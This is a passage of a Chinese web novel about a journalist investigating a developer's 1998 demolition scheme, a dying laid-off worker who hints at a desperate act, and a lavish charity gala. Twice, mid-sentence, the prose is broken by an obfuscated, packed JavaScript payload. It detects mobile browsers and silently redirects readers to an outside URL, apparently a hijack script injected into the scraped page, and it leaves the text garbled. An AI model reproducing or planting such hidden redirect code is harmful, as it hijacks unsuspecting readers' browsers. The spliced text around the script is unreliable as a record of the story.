我闭上眼睛,仿佛能看到这样的场景:当年,身体已经开始出现严重浮肿、脸色蜡黄的陈桂芳,握着厚厚的缴费单,和老金一起,挤在某个街道办事处的办公室里,面对着工作人员冷漠而程式化的脸,低声下气地哀求、解释。而对方给出的,或许就是几百上千元的“困难补助”,和一张需要他们签字画押的、承诺不再以任何形式就医疗问题提出要求的纸张。老金那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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二十年前,“凤凰计划”启动,赵承德和他的远大公司,用各种手段吞并了市国营第二纺织厂。老金,一个老实本分、技术过硬、家庭负担沉重的保全工,在“重点安抚”的策略下,拿到了八万六千元,买断了自己十九年的工龄和全家与体制的最后联系,被推向了“自谋职业”的茫茫人海。 随后,妻子陈桂芳因失去医疗保障,病情恶化,在贫病交加中去世。 留下老金独自抚养年幼的女儿。 女儿金贝贝罹患先天重疾,成为压垮这个家庭的最后一根稻草。 为了救女,老金掏空了一切,最终走向卖肾的骗局,落得人财两空,躺在医院里,眼神空洞,生不如死。 而这一切的起点,都可以追溯到那份编号【FP-1998-07】的文件,追溯到“凤凰计划”,追溯到赵承德二十年前的那次“成功”收购。 历史的尘埃?不。这不是尘埃。这是精心设计的制度性掠夺。这是系统性的暴力拆卸。这是用文件和公章包装起来的、对无数普通人生活和未来的……缓慢凌迟。 落在老金个人头上的,不是尘埃,而是一台名为“发展”和“改制”的巨型压路机,它轰然碾过,将他所珍视的一切——工作、家庭、健康、希望——都碾得粉碎,只留下一地无法拼凑的残渣和一份八万六千元的买断记录。 他的悲剧,从他签下那份“自愿”买断协议的那一刻起,或许就已经注定了。他之后二十年的所有挣扎、痛苦、绝望,都只不过是在沿着那条早已被预设好的、通往毁灭的下坡路,惯性滑行罢了。 我坐在远大集团宽敞明亮的办公室里,拿着他们发的薪水,用着他们配的电脑,查询着他们数据库里,关于他们如何一步步碾碎老金人生的“档案”。 一种前所未有的、混合着荒谬、愤怒、悲哀和深入骨髓无力的恶心感,彻底淹没了我。 我帮助苏晚收集罪证,是为了复仇,为了掀翻赵承德。但掀翻之后呢?像老金这样,被这台机器在过往岁月里碾碎的千千万万个“金卫国”,他们的冤屈,他们的苦难,他们的支离破碎的人生,又该如何清算?如何弥补? 复仇的火,烧不掉历史的灰烬。更照不亮,那些早已沉没在黑暗中的、无数个无声的坟冢。 28. 慢半拍的世界 医院的走廊永远比外面的世界慢半拍。消毒水的味道在这里沉淀了至少二十年,渗进地砖的每一条裂缝里,渗进墙壁上那些永远擦不干净的黄斑里。日光灯管发出持续的低频嗡鸣,像垂死者的呼吸——规律,但你知道它随时会停。我提着从楼下水果摊买的香蕉和苹果,塑料袋在手里沙沙作响,那声音在空荡荡的走廊里显得格外突兀,像个不合时宜的笑话。 老金的病房在走廊尽头,三人间,但另外两张床空着。护工说那俩病人昨天出院了——其实是死了,我听见护士站的人在议论,说家属连最后的抢救费都没结清就跑了,医院正打算把那点可怜的遗物拍卖抵债。 我推门进去时,老金正睁着眼睛盯着天花板。他没睡,但眼珠一动不动,像两颗嵌在蜡像里的玻璃珠。床头的监测仪亮着,绿色的线条平稳地跳动,那节奏和他空洞的眼神形成一种诡异的和谐——他还活着,但某些部分已经死了。 “老金。”我叫了一声。他没反应。我把水果放在床头柜上,那里已经堆了些东西:半袋开了封的饼干,一个印着“爱心捐赠”字样的保温杯,还有一本翻烂了的《常见疾病防治手册》——书页边缘被手指磨得发黑,某些段落用圆珠笔反复划着线。我随手翻开一页,正好是“慢性肾衰竭的日常护理”那一章。 “今天感觉怎么样?”我拖过那张吱呀作响的椅子坐下。 老金的眼球终于动了动,转向我。他的嘴唇干裂起皮,张开时发出纸张摩擦般的声音:“沈同志……你又来了。” 他扯了扯嘴角,那算是个笑容,但比哭还难看。他慢慢撑起身体,我上前扶他,手碰到他肩膀时能感觉到骨头硌着皮肉——这两个月他瘦了至少二十斤,病号服空荡荡地挂在身上,像挂在一具衣架上。 “贝贝今天来过吗?”我问。 “早上来了。”老金说,声音很轻,“福利院的王阿姨带她来的。待了十分钟,说不能耽误孩子做康复训练。”他停顿了一下,目光落在窗外,“她给我带了个东西。” 他颤巍巍地从枕头底下摸出一个小物件——是个用输液管编的小兔子,手艺粗糙,耳朵一长一短,但能看出编得很用心。 “她说,这是她在手工课上做的。”老金把那小兔子放在手心,用拇指摩挲着,“她说,爸爸你要快点好起来,等你能下床了,我就教你编。她说……” 他的声音突然哽住了。我把视线移开,看向窗外。医院对面是一栋正在施工的写字楼,绿色防护网包裹着钢筋混凝土的骨架,塔吊缓缓转动,在灰蒙蒙的天空下划出沉默的弧线。那栋楼属于“远大·城市之光”项目,广告牌上写着“缔造城市新纪元”——赵承德的名字在巨幅效果图的右下角,字体很小,但你知道他在那儿。 “老金。”我转回头,从包里拿出那份复印的文件,“我查到了点东西。” 他看向我,眼神里没有什么期待,只是一种麻木的等待——像等在屠宰线前的牲口,知道下一道工序是什么,只是不知道具体什么时候轮到自己。 “你还记得‘凤凰计划’吗?”我问。 他的眼皮跳了一下。 “1998年,市里搞旧城改造,第一批试点项目。”我把文件摊开,指着其中一页,“棉纺三厂及家属区整体拆迁,原址建设‘金凤凰商业综合体’。牵头单位是市城建局,具体执行方是当时的‘远大建筑公司’——赵承德那时候还是个包工头,但这个项目让他赚到了第一桶金。” 老金的呼吸变得有些重。 “文件上说,拆迁补偿方案有两种:一是按面积折算现金,二是安置到郊区新建的经济适用房。”我翻到下一页,“但实际执行的时候,现金补偿的标准被压低了百分之四十。理由是‘企业效益不佳,拆迁资金有限’。” “他们说过。”老金突然开口,声音嘶哑,“开动员会的时候,那个戴眼镜的副主任说的。他说厂子效益不好,大家要体谅国家困难。” “体谅。”我重复这个词,感觉舌根泛苦,“然后呢?选择安置房的呢?” “北郊的‘新生活家园’。”老金说,眼睛盯着天花板上的某处污渍,“离市区二十公里,没有公交,没有学校,没有医院。承诺的配套设施三年内建成,但三年后那片区还是荒地。”他停顿了很久,“我老婆就是那时候病的。急性胰腺炎,救护车从北郊开到市医院要四十分钟,路上堵了车,到医院的时候已经……” 他没说下去。不需要说。 我翻到文件的最后几页,那里附着当年的拆迁户名单。我指着其中一个名字:“金卫国,棉纺三厂维修车间主任,工龄二十四年。家庭住址:家属区3栋2单元402。补偿选择:安置房。签字日期:1998年11月7日。” 老金盯着那个名字,盯着那行字,像是第一次认识它们。 “这是你父亲?”我问。 他点了点头,动作很慢,像生锈的机器。“我爸……他那时候已经查出肺癌了。晚期。厂里医务室的老刘悄悄告诉他的,说最多还有半年。”他舔了舔干裂的嘴唇,“他知道自己活不久了,所以选了安置房。他说,房子虽然远,但面积大,将来我和小芳结婚能用上。” “他签字后多久去世的?” “两个月。”老金说,“1999年1月。死之前一直在咳血,但没去医院——他说钱要留着给我结婚用。”他忽然笑了一声,那笑声像砂纸磨过铁皮,“结果呢?他死后第三个月,安置房那边传出消息,说开发商资金链断裂,项目停工了。我们等了三年,最后等来一纸通知,说项目取消了,补偿款按‘市场评估价’折算——比当年承诺的又少了三分之一。” 我沉默地听着。这些故事不新鲜,在这座城市的每一个角落,在每一段被称之为“发展”的历史背面,都有类似的故事。只是当它们具体到一个人、一个家庭时,那种残忍才会显露出它全部的细节。 “你母亲呢?”我问。 “我爸死后第二年,心脏病。”老金说,“她本来心脏就不好,那几年折腾得够呛。有一天晚上,她说胸口闷,我出去借三轮车想送她去医院,回来的时候她已经没气了。”他停顿了一下,“那天是1999年12月31日。千禧年的前一天。” 跨世纪的狂欢在电视上直播,烟花照亮整座城市。而在北郊那间漏风的临时板房里,一个中年女人独自咽下了最后一口气。没有人在乎。 我把文件往后翻,找到另一份附件——那是远大建筑公司当年的财务审计报告影印件。其中有一页用红笔圈了出来:“特殊项目支出,1998年11月,金额:80万元,用途:拆迁工作协调费。收款方:市城建局拆迁办公室。” “这是贿赂。”我说,“八十万,按当时的物价,够买十套安置房。” 老金没说话。他只是看着那份文件,看着那些冰冷的数字和公章。他的表情很平静,平静得可怕——就像一个人站在自己家园的废墟前,已经流干了眼泪,只剩下一具空壳还站在那儿,因为不知道该去哪儿。 “我还查到一些别的。”我压低声音,尽管病房里只有我们两个人,“‘凤凰计划’的拆迁过程中,发生过三起‘意外死亡’。一个是在拆迁现场被坠落的砖块砸中的老工人,一个是在与拆迁队发生冲突后突发心梗的住户,还有一个……” 我顿了顿:“是个年轻女人,叫苏秀兰。她丈夫在拆迁协议上签字后反悔,带着她和两个孩子坚持不搬。1998年12月24日平安夜,他们住的筒子楼发生‘电路老化引发的火灾’。女人和两个孩子没跑出来。” 老金的手指抽搐了一下。 “消防队的报告说是意外,但当年有个实习记者偷偷拍下了照片——火灾发生前两个小时,有几个陌生人在那栋楼附近徘徊。照片很模糊,但其中一个人的侧影,像极了赵承德当时的司机。”我看着老金,“那个实习记者后来被报社开除了,理由是‘违反新闻职业道德,捏造事实’。他叫沈建国。” 说出这个名字时,我的喉咙发紧。 老金慢慢转过头,看着我。他的眼神变了,不再是空洞,而是某种缓慢燃烧的东西。“沈建国……是你……” “我父亲。”我说,“他死于2001年的一场车祸。肇事司机醉驾,判了三年,缓刑四年。后来我查到,那个司机出狱后进了远大的物流公司,现在是个小主管。” 病房里陷入漫长的沉默。监测仪的嘀嗒声变得格外刺耳,像倒计时。 窗外传来施工的噪音——打桩机有节奏的撞击声,混凝土搅拌车的轰鸣,工人们的吆喝。那声音穿过玻璃,填满了房间的每一个角落,像这座城市永不停歇的心跳。它在生长,在膨胀,在用钢筋水泥覆盖掉所有不该被记住的东西。 “所以。”老金终于开口,声音轻得像耳语,“我爸的死,我妈的死,我老婆的死,贝贝的病……所有这些,都不是命。”他用了“命”这个字。底层人最爱用的字,用来解释一切不公和苦难的最后借口——是命不好,是八字不好,是祖坟没埋对地方。他们用这个字来安抚自己,来让那些本无法忍受的痛苦变得可以忍受。 但现在,这个借口碎了。 “不是命。”我说,“是有人在一张很大的棋盘上下棋。我们,我们的父母,我们的孩子,都是棋盘上的棋子。有些人被吃掉了,有些人被挪到一边,有些人被用来当诱饵。而下棋的人,坐在有空调的房间里,喝着茶,讨论着下一步该怎么走才能利益最大化。” 老金闭上了眼睛。他的眼皮在颤抖,像有什么东西在里面挣扎着要出来。 “老金。”我说,“我会继续查。顾远的死,我父亲的死,还有‘凤凰计划’里所有不明不白的死,我会——” “别查了。”他打断我,眼睛仍然闭着。 我一愣。 “沈默,别查了。”他重复道,声音里有一种我听不懂的情绪——不是绝望,不是愤怒,而是一种更深的东西,一种决定。“你查不赢的。你父亲没赢,你那个朋友没赢,你也不会赢。” “可是——” “没有可是。”他睁开眼,看着我。那眼神让我脊背发凉——那不是放弃的眼神,而是另一种东西,一种更决绝、更恐怖的东西。“你知道我躺在医院的这些天,在想什么吗?” 我没说话。 “我在算账。”他说,嘴角又扯出那个难看的笑容,“不是算钱,是算时间。我今年五十二岁,按我们金家男人的寿命,最多还能活十年——我爸死的时候五十五,我爷爷死的时候五十七。就算我能活到六十二,这十年,我能做什么?” 他慢慢撑起身体,靠坐在床头。窗外施工的灯光打在他脸上,让他的皱纹显得更深,像刀刻的。 “我能继续捡垃圾,一个月挣一千五,给贝贝买最便宜的药,看着她一天天虚弱下去。我能再去卖点什么——血卖不动了,肾没了,肝还能卖一半,但贝贝的病不是换肝能治好的。我能在某个冬天死在街头,像条野狗,然后贝贝被送去福利院,等她也死了,我们金家就绝户了。” 他的语气很平静,像在说别人的事。 “或者。”他停顿了一下,目光转向窗外那栋正在生长的建筑,“我能做点别的。” “你想做什么?”我问,心里那种不祥的预感越来越强烈。 老金没有直接回答。他伸手拿过床头柜上那个输液管编的小兔子,放在手心看了很久。然后他抬起头,看着我,眼睛里突然有了光——但那不是希望的光,而是某种疯狂的光。 “沈默,你是个好人。”他说,“虽然你自己不承认,但你是。你会为了一个死去的朋友冒险,会为了一个捡垃圾的垫医药费,会为了查清二十年前的旧事把自己卷进来。你是个好人。” 他苦笑了一下:“但在这座城市,好人活不长。你朋友死了,你父亲死了,那些在‘凤凰计划’里死了的人,可能也都是好人。好人死光了,剩下的人就能过得更好吗?不,他们会找下一批好人,继续吃,继续啃,直到所有人都变成和他们一样的畜生。” 他喘了口气,监测仪上的心率数字跳到了110。 “所以我想明白了。”他说,“既然好人活不长,那我就不当好人了。既然他们吃人,那我也……” 他没说完,但眼神已经说完了。 “老金,你别做傻事。”我抓住他的手臂,那手臂瘦得只剩骨头,“贝贝还需要你,她只有你了。” “就是因为贝贝只有我了。”他看着我,眼神突然变得无比清醒,“沈默,我问你,如果我现在去法院告赵承德,告他二十年前欺诈拆迁,告他害死我父母和我老婆,我能赢吗?” 我张了张嘴,没发出声音。 “我赢不了。”他替我回答,“我没有证据——就算有,二十年的诉讼时效也过了。就算没过,赵承德有的是钱请最好的律师,有的是关系让案子拖上十年八年。我等得起,贝贝等不起。” “那你去闹?去上访?” “有用吗?”他反问,“这些年我见得少了?在政府门口跪着的,举着血书的,拉着横幅的,最后哪个不是被拖走,被关进精神病院,被‘临时安置’到某个鸟不拉屎的地方?他们的声音传不出去,就像石头扔进海里,连个水花都没有。” 他顿了顿,声音低下去:“因为他们太容易消失了。一个捡垃圾的,一个下岗工人,一个病孩子的爹——这种人在这座城市有几万个,少一个,多一个,谁在乎?” “那你想怎么样?”我问,声音也在发抖。 老金没有立刻回答。他转过头,再次看向窗外那栋建筑。塔吊上的灯在夜色中亮着,像一只巨大的、冷漠的眼睛。 “沈默。”他忽然说,声音轻得像叹息,“如果……我是说如果,有一天我做了什么傻事,你帮我照顾好贝贝。” 我浑身一僵。 “我存了点钱,不多,三万多,藏在出租屋床板底下的铁盒里。密码是贝贝的生日,970315。”他继续说,语速很慢,像在交代后事,“那些钱你拿去,给她买药,或者……或者如果她真的不行了,给她买件好看的衣服,买双新鞋。她一直想要一双带蝴蝶结的红皮鞋,我在商场橱窗看见过,要两百多。我舍不得。” “老金——” “你听我说完。”他打断我,“还有,如果我死了,别告诉她真相。就说她爸爸出远门打工了,要很久才能回来。或者……就说他死了,死得很快,没受罪。别让她知道那些脏事。” 他抓住我的手。他的手很凉,手心全是汗,但握得极紧,像溺水的人抓住最后一根浮木。 “答应我,沈默。”他看着我的眼睛,“答应我你会照顾她。” 我看着他,看着这个被生活榨干了最后一滴血的男人。我想说“你别做傻事,我们一起想办法”,但我知道那是谎言。我想说“法律会还你公道”,但我知道那是更大的谎言。我想说“活着就有希望”,但在这个房间里,在这座城市里,这句话听起来像最恶毒的嘲讽。 最后,我只能点了点头。老金松开了手,靠回床头,像是完成了人生最后一件重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016465|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事。他闭上眼睛,脸上的表情松弛下来,甚至有一丝解脱。 “你走吧。”他说,“天晚了,贝贝该睡觉了。我得给她打个电话,听她跟我说晚安。” 我没动。 “走啊。”他催促,但声音很轻。 我站起身,椅子腿摩擦地面,发出刺耳的声响。我走到门口,手放在门把手上,回头看了他一眼。他仍然闭着眼睛,但嘴唇在动,无声地数着什么——也许是在数还剩下多少时间,也许是在数需要多少勇气。 “老金。”我最后还是开口了,“活着。为了贝贝,活着。”他睁开眼睛,对我笑了笑。那个笑容我至今记得——那不是一个活人的笑容,而是一个已经准备好赴死的人,留给世界最后的、礼貌的告别。 “我知道。”他说,“你快走吧。” 我拉开门,走进走廊。门在我身后关上时,我听见他低声哼起了歌——那是很老的调子,我小时候听父亲哼过,是棉纺厂的厂歌。 “我们工人有力量,每天每日工作忙……”声音嘶哑,跑调,但在空荡荡的病房里,在那片消毒水的气味中,它像一首挽歌。 我站在走廊里,没有立刻离开。监测仪的嘀嗒声从门缝里漏出来,和远处施工的噪音混在一起。我摸出烟,想点,想起这是医院,又放了回去。 手机震动了一下。是苏晚发来的信息:“明天下午三点,‘夜泊’见。有东西给你看。” 我没回。我靠在墙上,闭上眼睛。脑海里反复回放着老金最后那个眼神,那种平静之下的疯狂,那种认命之后的决绝。我知道他要做什么。我知道,我劝不住。 我也知道,某种程度上,是我推了他最后一把——我给了他真相,却给不了他出路。我撕开了那个名为“命运”的伤口,却只能眼睁睁看着它溃烂、化脓,最后把整个人吞噬。 走廊尽头,电梯门开了。一个护工推着转运床出来,床上躺着一个人,盖着白布,从头到脚。家属跟在后面,没有哭,只是麻木地走着,像完成一道必须完成的工序。 他们经过我身边时,白布下露出一只手——枯瘦,蜡黄,指甲缝里还有没洗干净的污垢。那是个底层劳动者的手,和老金的手一样。 我转过身,走进楼梯间。没有坐电梯,而是一步一步往下走。脚步声在空荡荡的楼梯间里回荡,像另一个人在跟着我。走到三楼时,我停下来,从窗户往外看。 夜色中的城市灯火璀璨,像一片倒置的星空。那些光来自写字楼,来自商场,来自高档住宅区,来自赵承德们建造和拥有的每一个地方。而在光的阴影里,在老金们居住的城中村,在那些即将被拆迁的旧街区,在医院的走廊里,在无数个看不见的角落,另一些东西正在发生。 有些人在死去,有些人在准备死去,有些人已经死了很久,只是还没被埋葬。 我拿出手机,找到顾远生前最后发给我的那条信息。那是他“自杀”前三天发的,只有一句话:“沈默,这城市吃人,而且不吐骨头。” 我当时以为他在说笑。现在我知道了,他不是在说笑。他是在留遗言。我按灭屏幕,继续往下走。走到一楼时,手机又震了。这次是马东。 “小沈,你最近是不是在查‘凤凰计划’?”他的声音很低,背景音很嘈杂,像是在车里。 “怎么了?” “别查了。”他说,语气是我从未听过的严肃,“那潭水比你想象的深得多。二十年前的事,牵扯的人太多了,有些现在还在位置上。” “包括你吗?”我问。 电话那头沉默了很久。 “包括我。”马东终于说,声音里满是疲惫,“1998年,我在分局刑侦队,负责‘凤凰计划’片区治安。有些案子……我们没查下去。” “为什么?” “你说为什么?”他反问,带着苦笑,“命令。上面下的命令,说那是‘发展中的阵痛’,要以大局为重。我和老沈——你父亲——吵过一架,他说我要有良心,我说我要有饭碗。最后他死了,我还活着。” 他顿了顿:“所以听我一句,停手。你现在退出来,还来得及。再往下走,你会看见一些……你不想看见的东西。” “比如什么?” “比如你父亲当年到底查到了什么。”马东说,“比如为什么他非死不可。比如为什么二十年后,又有一个记者——你朋友顾远——也查到了同样的东西,然后也死了。” 我的血液变冷了。 “你都知道?”我问。 “我知道一些。”马东说,“但我不能说。我能告诉你的只有一件事:赵承德只是个前台的小丑,真正在后面提线的人,你惹不起。” “是谁?” 电话挂断了。 我站在医院大厅里,看着手机屏幕暗下去。周围人来人往——焦急的家属,痛苦的病人,麻木的医护。急救车的鸣笛由远及近,又一辆载着绝望的车驶入了这个巨大的、白色的处理厂。 我走到门口,点燃了那支憋了很久的烟。尼古丁进入肺部时,我剧烈地咳嗽起来,咳得眼泪都出来了。 抬起头时,我看见街对面那栋“远大·城市之光”的广告牌换了新画面。不再是效果图,而是赵承德本人的巨幅照片——他穿着深色西装,系着领带,笑容儒雅,手捧一张巨大的支票模型,上面写着:捐赠5000万元,用于先天性心脏病儿童救助。 照片下方有一行小字:心怀大爱,回馈社会。我盯着那张照片,盯着那张脸,盯着那行字。然后我掐灭烟蒂,扔进垃圾桶,走进夜色里。 街道上车流如织,霓虹闪烁。橱窗里陈列着最新款的手机和名牌包,咖啡馆里飘出拿铁的香气,情侣们牵着手走过,讨论着周末去哪家新开的餐厅。 一切都很正常。这座城市正常得可怕。而我,一个已经死去的记者的儿子,一个刚刚答应了一个将死之人托付的烂人,一个正在走向另一个陷阱的傻瓜,正走在这一切正常的中心。 我知道老金要做什么。 我也知道,当他做那件事的时候,这座城市会短暂地“惊讶”一下,然后迅速将他归类为“极端分子”、“心理失衡者”、“社会不稳定因素”。媒体会报道,专家会分析,网民会争论几天,然后一切照旧。 赵承德可能会低调几天,然后继续做他的慈善。苏晚会继续在“夜泊”里周旋。林涛会继续执行命令。马东会继续在良心和饭碗之间挣扎。而我会继续查,直到我也变成棋盘上被吃掉的那颗棋子。 这就是规则。这就是游戏。没有人能赢。但总得有人去玩,哪怕明知道会输。因为如果不玩,你就连输的资格都没有——你只是背景板,是统计数据,是那个被命名为“阵痛”的过程里,无数个无名无姓的痛点之一。 我走到公交站,等车。站牌上贴着“远大集团”的公益广告:一个先天性心脏病的孩子在微笑,旁边写着——您的每一分善款,都是生命的希望。 车来了。我投币上车,坐在最后一排。车子启动,驶过繁华的街道,驶过寂静的旧城区,驶过正在施工的工地,驶过医院,驶过福利院,驶过这座城市光鲜的表皮和溃烂的里子。 窗外,夜色深沉。 而我知道,在某间医院的病房里,一个名叫金卫国的男人正在数着时间,正在积蓄勇气,正在准备用他仅剩的、最廉价的东西——自己的生命——去对抗一个吞噬了他一生的怪物。 他不会赢。但他会发出声音。哪怕那声音,最终只会淹没在这座城市永恒的、无声的喧嚣里。 29. 星星之火 水晶吊灯的光太亮了。亮得刺眼,亮得虚假,亮得像手术室的无影灯——只不过这里要切割的不是□□,是良心。良心这东西,在远大集团二十周年庆典暨慈善拍卖会的现场,是最不值钱的装饰品,却也是人人都必须佩戴的面具。 我靠在宴会厅西侧廊柱的阴影里,相机抵着下巴,长焦镜头像一支沉默的狙击枪,瞄准着台上那个正在微笑的男人。 赵承德。他今天穿了一身定制的深灰色西装,领带是某种我认不出但一定很贵的暗纹丝绸。五十五岁,但看起来像四十五——金钱是最好的保养品,它能买来最顶尖的医疗团队,最私密的营养师,最有效的肉毒杆菌和干细胞疗法。他站在聚光灯下,身形挺拔,头发梳得一丝不苟,连微笑的弧度都经过精确计算:露出八颗牙齿,不多不少,既显得真诚,又不失威严。 “二十年前。”他的声音通过顶级音响系统传遍整个宴会厅,温暖、沉稳,带着恰到好处的磁性,“我站在老城区的废墟上,手里拿着第一份施工合同。那时候,远大还只是一个小小的建筑队,十二个人,三台搅拌机,租来的办公室只有三十平米。” 台下响起善意的轻笑。那些笑声来自第一排的政要——副市长、发改委主任、规划局局长;来自第二排的银行家和合作伙伴;来自后面几排的媒体记者和社会名流。所有人都穿着得体,妆容精致,手里端着香槟杯,杯中的气泡缓缓上升,像这座城市永不衰竭的欲望。 我调了调焦距。镜头里,赵承德的脸被放大,我能看见他眼角细微的皱纹,看见他说话时喉结的滑动,看见他左手无名指上那枚简单的铂金婚戒——他妻子三年前死于乳腺癌,葬礼上他哭得撕心裂肺,媒体称他为“深情企业家”。但苏晚告诉过我,他妻子死前三个月,他已经把大部分资产转移到了海外信托。 “那时候很多人问我:赵总,你的理想是什么?”赵承德顿了顿,目光扫过全场,像一位父亲在看着自己的孩子,“我说,我的理想很简单——让这座城市变得更好。让我们住的房子更坚固,让我们的孩子有更好的学校,让我们的老人有更舒适的养老院。” 掌声响起。不热烈,但持久,像一场精心排练的合唱。 我移动镜头,掠过那些鼓掌的手。那些手保养得很好,指甲修剪整齐,皮肤光滑,有些戴着百达翡丽,有些戴着卡地亚,有些什么都没戴,但你知道它们签过的合同价值多少个亿。这些手掌握着这座城市的命脉,它们拍一下,某块地皮的价格就会上涨;它们握一下,某个项目就能顺利通过审批;它们挥一下,成千上万人的命运就会被改变。 镜头停在苏晚身上。她站在赵承德身侧稍后的位置,一身黑色曳地长裙,肩颈线条优美得像天鹅。头发挽成松散的发髻,几缕碎发垂在耳侧,在灯光下泛着琥珀色的光泽。她是今晚的主持人,手里拿着提词卡,但根本不需要看——那些华丽的辞藻早就刻在她脑子里,或者说,刻在她扮演的这个角色里。 她微笑着,笑容完美无瑕,但我在镜头里看见她的眼睛。那双眼睛像两口深井,表面平静,底下却什么也看不见。当赵承德说到动情处时,她会适时地点头,会露出感动的神色,会用手轻轻擦拭眼角——那里当然是干的。 一周前,也是在这间酒店,在楼上的套房里,她裸身坐在落地窗前,背对着我,看着窗外城市的夜景。我问她:“你恨他吗?” 她沉默了很久,久到我以为她不会回答。 “恨是一种奢侈的情绪。”她终于说,声音很轻,“你得先觉得自己是个人,才能恨。而我,很多年前就不是了。” 当时我没有懂。现在,透过镜头看着她完美的侧脸,我好像懂了一点。 “这二十年来,远大参与建设了这座城市百分之三十的住宅,百分之四十的商业综合体,百分之五十的市政工程。”赵承德继续说着,语气变得庄重,“我们建造的不是冰冷的钢筋混凝土,我们建造的是家,是希望,是未来。” 背景大屏幕适时地播放着宣传片:崭新的住宅小区里孩子们在玩耍,现代化的写字楼里白领们匆匆走过,大型购物中心里人流如织。镜头切换,是赵承德在工地戴着安全帽视察,在希望小学和孩子们合影,在敬老院给老人递上慰问品。配乐是恢弘的交响乐,每一个音符都在歌颂进步与繁荣。 我关掉了相机的录音功能。我不想听。 我的目光离开取景器,扫视着整个宴会厅。这里能容纳五百人,今晚座无虚席。空气里混合着香水、雪茄和高级食材的味道——侍应生端着银质托盘穿梭,上面是鱼子酱、鹅肝、空运来的生蚝和神户牛肉。每道菜的成本,够老金捡三个月的垃圾,够金贝贝买一个月的药。 老金,这个名字像一根刺,扎在我脑子里,拔不出来,一动就疼。 距离医院那场对话已经过去五天。这五天里,我去了三次福利院,看了两次贝贝。孩子的情况越来越差,脸色苍白得像纸,呼吸的时候胸口有明显的凹陷。医生私下告诉我,如果再不进行骨髓移植,她撑不过三个月。而移植的费用,算上手术、抗排异药物和后续治疗,至少需要八十万。 八十万。对宴会厅里的大多数人来说,不过是买块表,买辆车,买幅画的钱。对赵承德来说,不过是今晚拍卖会上一件拍品的起拍价。但对老金来说,那是一道他穷尽一生也跨不过去的鸿沟,是一堵把他和他女儿隔在生死两端的墙。 “所以今天,在这个特别的日子。”赵承德的声音把我拉回现实,他的语调升高,充满情感,“我宣布,远大集团将成立‘承德慈善基金会’,初始注资一亿元人民币。基金会的第一个项目,是‘天使之心’计划——在未来五年内,免费为一百名贫困家庭的先天性心脏病儿童提供手术治疗。” 雷鸣般的掌声。 镜头里,赵承德眼眶湿润了。他抬手擦了擦眼睛,这个动作被大屏幕捕捉、放大,显得无比真诚。台下有人开始抽泣——是个穿着名牌套装的中年女人,她一边擦眼泪一边对身边的人说:“赵总真是菩萨心肠。” 我重新举起相机,透过镜头看着这一幕。我的手指按在快门按钮上,但没有按下去。我在等。等什么?我不知道。也许在等某个裂缝,某个瞬间,某个能让这场盛大表演露出破绽的瑕疵。 “现在,请允许我介绍今晚的特邀主持人,也是‘天使之心’计划的形象大使——苏晚小姐。”赵承德侧身,做出邀请的手势。 苏晚向前一步,聚光灯打在她身上。她接过话筒,声音通过音响传出,清澈、柔和,带着恰到好处的颤抖——那是感动的颤抖。 “谢谢赵总。站在这里,我既感到荣幸,也感到沉重。”她停顿,目光缓缓扫过全场,“因为我知道,在我们看不见的地方,有很多孩子正在和病魔抗争,有很多家庭正在绝望中挣扎。而今天,我们聚集在这里,不仅仅是为了庆祝,更是为了给予。” 她的声音真的哽咽了。我看见她用力眨了眨眼,把泪意逼回去。这个动作太专业了,专业得像电影学院教出来的。但台下的人吃这一套——几个女宾已经在抹眼泪,男人们则露出欣赏和怜悯交织的表情。 “今晚拍卖所得的全部款项,都将注入‘承德慈善基金会’,用于‘天使之心’计划。”苏晚继续说,语气坚定起来,“每一分钱,都可能挽救一个孩子的生命。每一次举牌,都可能给一个家庭带来希望。” 她转身,指向舞台一侧。帷幕缓缓拉开,露出今晚的第一件拍品——一幅油画。画面上是一个先天性心脏病患儿的脸,大眼睛里充满渴望,脸色苍白,但笑容灿烂。画作的名字叫《盼》。 “这幅《盼》,由著名艺术家陈默先生创作,起拍价二十万元。”苏晚说,“现在,拍卖开始。” “二十五万!”立刻有人举牌。是个地产公司的老板。 “三十万!” “三十五万!” 叫价声此起彼伏,像一场没有硝烟的战争。举牌的人表情轻松,有的甚至还在和身边的人说笑。对他们来说,这只是一个游戏,一个用钱买名声、买社会地位、买自我感动的游戏。 我放下相机,从口袋里摸出烟,想起不能抽,又放回去。我的胃在抽搐,一种生理性的恶心从喉咙深处往上涌。我想起老金的脸,想起他说“沈默,如果……如果有一天我做了什么傻事”时的表情。我想起贝贝抱着那个输液管编的小兔子的样子。 “八十万!第一次!”苏晚的声音传来。 那幅画的价格已经叫到八十万。正好是贝贝手术需要的费用。 “八十万,第二次!” 我闭上眼睛。 “八十万,第三次!成交!”落槌声清脆,“恭喜张总!感谢您的善心!” 掌声。微笑。闪光灯。张总站起来,向四周鞠躬,像个英雄。 拍卖继续。第二件拍品是一套翡翠首饰,起拍价五十万。第三件是某位已故大师的书法作品,起拍价一百万。第四件是一瓶1978年的罗曼尼·康帝,起拍价三十万。 数字在空气中飞舞,越来越大,越来越虚幻。一百万,一百五十万,两百万……这些数字失去了意义,变成纯粹的符号,变成衡量一个人“爱心”多少的标尺。举牌的人越来越多,竞争越来越激烈——仿佛谁出的价更高,谁就更善良,更有资格站在道德的制高点上。 我重新举起相机。这次我没有拍台上,而是拍台下。 镜头里,规划局的王局长正在和身边的企业家耳语,两人脸上都挂着心照不宣的笑容。我知道,上周远大刚拿下了城东新区的一块地,容积率比规划高了0.5——这意味着能多盖好几栋楼,多赚好几个亿。而批下这个容积率的,正是王局长。 